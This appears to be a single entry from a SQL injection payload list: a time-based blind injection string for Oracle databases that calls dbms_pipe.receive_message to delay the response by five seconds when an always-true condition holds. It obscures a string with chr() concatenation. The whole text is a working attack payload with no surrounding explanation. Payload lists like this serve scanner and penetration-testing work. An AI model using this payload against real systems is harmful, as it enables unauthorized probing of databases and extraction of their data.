1,  (  select   (  case when   (  9644  =  9644  )   then dbms_pipe.receive_message  (  chr  (  75  )  ||chr  (  78  )  ||chr  (  104  )  ||chr  (  98  )  ,5  )   else 1/  (  select 0 from dual  )   end  )   from dual  )  